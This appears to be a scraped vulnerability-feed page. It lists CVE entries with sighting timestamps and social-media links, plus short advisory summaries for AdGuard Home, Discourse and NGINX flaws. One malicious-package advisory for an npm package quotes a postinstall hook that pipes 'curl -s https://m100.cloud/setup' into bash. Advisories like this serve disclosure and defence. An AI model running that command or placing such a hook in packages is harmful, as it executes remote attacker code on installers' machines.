CVE-2026-61443

creationtimestamp| type| source ---|---|--- 2026-07-15 16:05:21+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp3yru5x62w...

CVE-2026-47703 AdGuard Home: DoQ-to-UDP State Reduction and Source-Port Oracle

AdGuard Home is a network-wide software for blocking ads and tracking. Prior to 0.107.75, AdGuard Home's client-triggered DoQ forwarding path to a udp:// upstream reduced backend UDP DNS state by producing dnsid=0 or txid=0 and exposed a quoted-port ICMP source-port oracle, weakening DNS response...

CVE-2026-47703

AdGuard Home is a network-wide software for blocking ads and tracking. Prior to 0.107.75, AdGuard Home's client-triggered DoQ forwarding path to a udp:// upstream reduced backend UDP DNS state by producing dnsid=0 or txid=0 and exposed a quoted-port ICMP source-port oracle, weakening DNS response...

CVE-2026-47703

AdGuard Home is a network-wide software for blocking ads and tracking. Prior to 0.107.75, AdGuard Home's client-triggered DoQ forwarding path to a udp:// upstream reduced backend UDP DNS state by producing dnsid=0 or txid=0 and exposed a quoted-port ICMP source-port oracle, weakening DNS response...

CVE-2026-47703 AdGuard Home: DoQ-to-UDP State Reduction and Source-Port Oracle

AdGuard Home is a network-wide software for blocking ads and tracking. Prior to 0.107.75, AdGuard Home's client-triggered DoQ forwarding path to a udp:// upstream reduced backend UDP DNS state by producing dnsid=0 or txid=0 and exposed a quoted-port ICMP source-port oracle, weakening DNS response...

CVE-2026-61433

creationtimestamp| type| source ---|---|--- 2026-07-15 16:01:34+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp3rzyupx2e...

CVE-2026-61836

creationtimestamp| type| source ---|---|--- 2026-07-15 16:01:03+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mqp3r2rc6t2i 2026-07-21 09:13:06+00:00| seen| https://bsky.app/profile/suriq.io/post/3mr5hr26efm2q...

BIT-DISCOURSE-2026-45780 Discourse: Private event sample invitees are serialized to non-invited event viewers

Discourse is an open-source discussion platform. Prior to 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5, EventSerializer could expose invited group names, sample invitees, and attendance statistics to users who could view the topic but were not entitled to view the private event invitee list. This...

CVE-2026-61430

creationtimestamp| type| source ---|---|--- 2026-07-15 15:52:28+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp3bro2kc22...

CVE-2026-50148

creationtimestamp| type| source ---|---|--- 2026-07-15 15:52:04+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mqp3b2jai22u...

CVE-2026-61740

creationtimestamp| type| source ---|---|--- 2026-07-15 15:50:06+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mqp35kbkrs2j 2026-07-20 22:35:16+00:00| published-proof-of-concept| https://github.com/HKUDS/LightRAG/security/advisories/GHSA-f4vv-55c2-5789...

CVE-2026-57996

creationtimestamp| type| source ---|---|--- 2026-07-15 15:49:58+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp35bwnut2l...

CVE-2026-44986

creationtimestamp| type| source ---|---|--- 2026-07-15 15:48:05+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mqp2zwwfih2x 2026-07-16 09:01:34+00:00| seen| https://bsky.app/profile/hugovalters.bsky.social/post/3mqqurwh7u42e 2026-07-16 09:01:50+00:00| seen|...

CVE-2026-61736

creationtimestamp| type| source ---|---|--- 2026-07-15 15:48:04+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mqp2zvftsc2w 2026-07-15 16:00:47+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mqp3qmrswz2h 2026-07-20 22:35:18+00:00|...

CVE-2026-60085

creationtimestamp| type| source ---|---|--- 2026-07-15 15:45:28+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp2vafmxw2h...

MAL-2026-10682 Malicious code in code-formatter-setup (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042 package.json declares a postinstall lifecycle hook that runs node -e "require'childprocess'.execSync'curl -s https://m100.cloud/setup | bash'",...

CVE-2026-38450

creationtimestamp| type| source ---|---|--- 2026-07-15 15:44:04+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mqp2sr3l7e2y...

CVE-2026-56339

creationtimestamp| type| source ---|---|--- 2026-07-15 15:41:32+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp2o7cnt32o 2026-07-16 11:39:38+00:00| seen| https://bsky.app/profile/cybersecinsight.bsky.social/post/3mqr5mlyta527...

CVE-2026-58655

creationtimestamp| type| source ---|---|--- 2026-07-15 15:39:45+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp2kzoz6t2s...

CVE-2026-42533

A vulnerability exists in NGINX Plus and NGINX Open Source when a map directive uses regex matching and a string expression references the map's regex capture variables before referencing the map output variable. Alternatively, the same result could be achieved by using a non-cacheable variable i...